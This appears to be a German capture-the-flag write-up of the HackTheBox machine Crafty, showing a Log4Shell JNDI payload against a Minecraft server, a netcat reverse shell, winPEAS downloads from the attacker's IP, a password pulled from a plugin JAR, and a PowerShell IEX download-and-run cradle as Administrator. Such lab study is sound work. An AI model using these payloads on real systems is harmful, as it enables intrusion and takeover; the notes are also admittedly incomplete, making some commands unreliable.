Lab Fragments · published

Crafty – alte Lab Notes

Unvollständige Lab-Fragmente zur HTB Machine Crafty: Log4Shell-Foothold über Minecraft und grob dokumentierte Windows Privilege Escalation.

HTBLab FragmentCraftyWindowsMinecraftLog4ShellJava

Diese Notiz basiert auf alten Lab-Mitschriften und ist kein vollständiges Writeup. Einige Schritte sind nur grob dokumentiert oder nachträglich rekonstruiert.

Metadaten

  • Name: Crafty
  • Plattform: Windows
  • Kategorie: HTB Machine
  • Schwierigkeit: Easy
  • Ziel(e): User, Root/Administrator
  • Kurzbeschreibung des Szenarios: HTB Machine Writeup zu Crafty mit Minecraft/JAR-Foothold und Windows Privilege Escalation.

Information Gathering

Enumeration

nmap -sC -sV -p- -vvvv 10.10.11.249 --min-rate=5000 -oA service_deep

host port proto name state info

10.10.11.249 80 tcp http open Microsoft IIS httpd 10.0 10.10.11.249 25565 tcp minecraft open Minecraft 1.16.5 Protocol: 127, Message: Crafty Server, Users: 1/100

google port 25565 vulns = log4j!

git clone https://github.com/kozmer/log4j-shell-poc

java# 8u181-b13 get here: https://repo.huaweicloud.com/java/jdk/8u181-b13/

(copy into log4j-shell-poc && rename jdk1.8.0_20)

google minecraft client networking found pyCraft

https://github.com/ammaraskar/pyCraft.git

Explotation

poc.py anpassen

String cmd=“/bin/sh”; ==> String cmd=“cmd.exe”;

run ldap

┌──(root㉿VMP3T3)-[~/htb/crafty/log4j-shell-poc]
└─# python3 poc.py --userip 10.10.14.39 --webport 80 --lport 1337

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://10.10.14.39:1389/a}

[+] Starting Webserver on port 80 http://0.0.0.0:80
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.10.14.39:80/Exploit.class
10.10.11.249 - - [27/May/2024 14:59:23] "GET /Exploit.class HTTP/1.1" 200 -

run pyCraft

start env set ip copy link from lg4j

┌──(crafty)─(root㉿VMP3T3)-[~/htb/crafty/pyCraft]
└─# python3 start.py
Enter your username: asd
Enter your password (leave blank for offline mode): 
Enter server host or host:port (enclose IPv6 addresses in square brackets): 10.10.11.249
Connecting in offline mode...
Connected.
${jndi:ldap://10.10.14.39:1389/a}
Exception in thread Networking Thread:
Traceback (most recent call last):

netcat

┌──(root㉿VMP3T3)-[~/htb/crafty/log4j-shell-poc]
└─# nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.39] from (UNKNOWN) [10.10.11.249] 49774
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\users\svc_minecraft\server>

Privilege Escalation

copy-item -Source 10.10.14.39:81\winpeas.ps1 -destination C:\users\svc_minecraft\xxx

wget “http://10.10.14.39:81/winpeas.ps1” -outfile “winpeas.ps1”

Copy-Item -Source \10.10.14.39\winPEAS.ps1 -Destination C:\users\svc_minecraft\xxx

curl -L -o winPEAS.ps1 http://10.10.14.39

Download a file in PowerShell

Invoke-WebRequest -Uri http://10.10.14.39:81 -OutFile winPEASx64.exe

User Flag

c:\Users\svc_minecraft\Desktop>type user.txt
type user.txt
22d7a[REDACTED-USER-FLAG]cff0

root Flag

Download

plugins/playercounter-1.0-SNAPSHOT.jar

open with jd-gui (found a password s67u84zKq8IXw)

start a new revshell with user administator in powershell

powershell #1 revshell

$SecPass = ConvertTo-SecureString 's67u84zKq8IXw' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('Administrator',$SecPass)
Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://tun0:port/rev.ps1')" -Credential $cred

grab root.txt